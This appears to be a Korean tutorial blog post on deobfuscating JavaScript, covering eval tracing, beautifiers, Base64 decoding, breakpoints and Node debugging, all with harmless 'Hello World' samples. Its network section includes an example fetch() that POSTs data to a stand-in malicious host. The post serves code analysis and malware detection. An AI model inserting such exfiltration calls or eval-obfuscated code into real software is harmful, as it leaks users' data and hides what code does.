난독화된 JavaScript 코드는 코드를 의도적으로 복잡하게 만들어 가독성을 떨어뜨리는 기술로, 보안 또는 코드 도용 방지를 위해 자주 사용된다. 하지만 디버깅, 코드 분석, 악성 코드 탐지 등의 목적으로 이러한 코드를 이해해야 할 때도 있다.
난독화된 JavaScript는 일반적으로 변수 이름, 함수 이름, 코드 구조를 알아보기 어렵게 만들어 원래 의도를 숨긴다.
(function(a, b) {
var c = a.split('').reverse().join('');
eval(c);
})(')(0;)}"Hello World" :{(gol.elosnoc', 0);
a
, b
, c
는 의미 파악이 어렵다. eval
을 사용해 동적으로 실행된다. Hello World
를 출력한다.브라우저 개발자 도구 (DevTools)
코드 디포맷터 및 미니파이어
디버거 및 리버스 엔지니어링 도구
Node.js 실행 환경
난독화된 코드는 코드 전체가 한줄로 보이기도 하고 읽기 어려운 구조로 작성된다. 이는 가독성을 매우 떨어뜨리고 기분도 떨어뜨리기 때문에... 보기 좋게 변환하는것이 가장 먼저이다.
eval((function(p, a, c, k, e, r) {
// 난독화된 코드
})('난독화된 인코딩 문자열', 62, 12, ...));
➡️ Beautifier.io 등을 통해 정리하면 다음과 같이 가독성이 높아진다:
(function(p, a, c, k, e, r) {
e = function(c) {
return c.toString(36);
};
...
})(...);
var c = a.split('').reverse().join('');
console.log(c); // eval로 실행될 코드 확인
디버거를 활용한 코드 흐름 추적
JSNice로 의미 있는 변수 이름 복원
eval
, Function
등 동적 실행 구문은 실행 전 내용을 출력하여 확인한다.
(function(a, b) {
var c = a.split('').reverse().join('');
console.log("Before eval:", c);
eval(c);
})(')(0;)}"Hello World" :{(gol.elosnoc', 0);
많은 난독화 코드가 Base64 인코딩을 사용한다.
let encoded = "SGVsbG8gV29ybGQ=";
let decoded = atob(encoded);
console.log(decoded); // Hello World
(function() {
var secret = "hidden";
console.log("Reveal secret:", secret); // 중단점 설정 지점
})();
이 부분은 실제로 분석을 해봐야 감이 오기때문에 개념만 작성하도록 하겠다.
Network 탭에서 외부로 요청이 전송되는지 확인한다.
fetch("https://malicious-site.com", {
method: "POST",
body: "data"
});
node --inspect-brk script.js
난독화된 JavaScript 코드를 분석하는 것은 시간이 걸릴 수 있지만, 적절한 도구와 방법론 그리고 경험...! 을 통해 체계적으로 접근할 수 있다.
특히 브라우저 DevTools와 디코딩 도구의 활용이 중요하다. 잘 만들어진 도구를 잘 사용하는게 아주아주 중요하다!.